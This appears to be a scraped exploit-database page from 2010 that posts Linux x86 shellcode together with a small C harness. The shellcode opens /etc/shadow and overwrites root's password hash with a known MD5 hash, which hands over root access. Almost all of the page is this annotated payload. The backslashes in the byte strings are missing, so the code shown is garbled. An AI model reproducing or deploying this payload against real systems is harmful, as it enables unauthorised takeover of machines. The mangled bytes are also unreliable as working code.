Home / os / win7

linux/x86 pwrite("/etc/shadow", hash, 32, 8) Shell

Posted on 17 May 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/x86 pwrite(&quot;/etc/shadow&quot;, hash, 32, 8) Shellcode 94 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>===============================================================
linux/x86 pwrite(&quot;/etc/shadow&quot;, hash, 32, 8) Shellcode 94 bytes
===============================================================


 /* 
 | Title: Linux/x86 pwrite(&quot;/etc/shadow&quot;, hash, 32, 8) Shellcode 94 Bytes
 | Description: replace root's password with hash of &quot;agix&quot; in MD5
 | Type: Shellcode
 | Author: agix
 | Platform: Linux X86
*/

#include &lt;stdio.h&gt;

char shellcode[] =
&quot;x31xC9&quot;             //xor ecx,ecx
&quot;x51&quot;               //push ecx
&quot;x68x61x64x6Fx77&quot;       //push dword 0x776f6461
&quot;x68x63x2Fx73x68&quot;       //push dword 0x68732f63
&quot;x68x2Fx2Fx65x74&quot; //push dword 0x74652f2f
&quot;x89xE3&quot;               //mov ebx,esp
&quot;x66xB9x91x01&quot;           //mov cx,0x191
&quot;x31xC0&quot;               //xor eax,eax
&quot;xB0x05&quot;               //mov al,0x5
&quot;xCDx80&quot;               //int 0x80
&quot;x89xC3&quot;               //mov ebx,eax
&quot;x68x32x48x31x3A&quot;       //push dword 0x3a314832
&quot;x68x4Fx65x4Bx66&quot;       //push dword 0x664b654f
&quot;x68x7Ax37x6Bx45&quot;       //push dword 0x456b377a
&quot;x68x38x48x35x75&quot;       //push dword 0x75354838
&quot;x68x50x73x31x42&quot;       //push dword 0x42317350
&quot;x68x24x4Ex75x68&quot;       //push dword 0x68754e24
&quot;x68x6Dx67x69x39&quot;       //push dword 0x3969676d
&quot;x68x49x4Dx4Dx6B&quot;       //push dword 0x6b4d4d49
&quot;x89xE1&quot;               //mov ecx,esp
&quot;x31xC0&quot;               //xor eax,eax
&quot;x31xD2&quot;               //xor edx,edx
&quot;xB2x20&quot;               //mov dl,0x20
&quot;xB0xB5&quot;               //mov al,0xb5
&quot;x31xF6&quot;               //xor esi,esi
&quot;x46&quot;                 //inc esi
&quot;x46&quot;                 //inc esi
&quot;x01xF6&quot;               //add esi,esi
&quot;x01xF6&quot;               //add esi,esi
&quot;x31xFF&quot;             //xor edi,edi
&quot;xCDx80&quot;;               //int 0x80

int main(int argc, char **argv) {
        int *ret;
        ret = (int *)&amp;ret + 2;
        (*ret) = (int) shellcode;
}


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-17]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :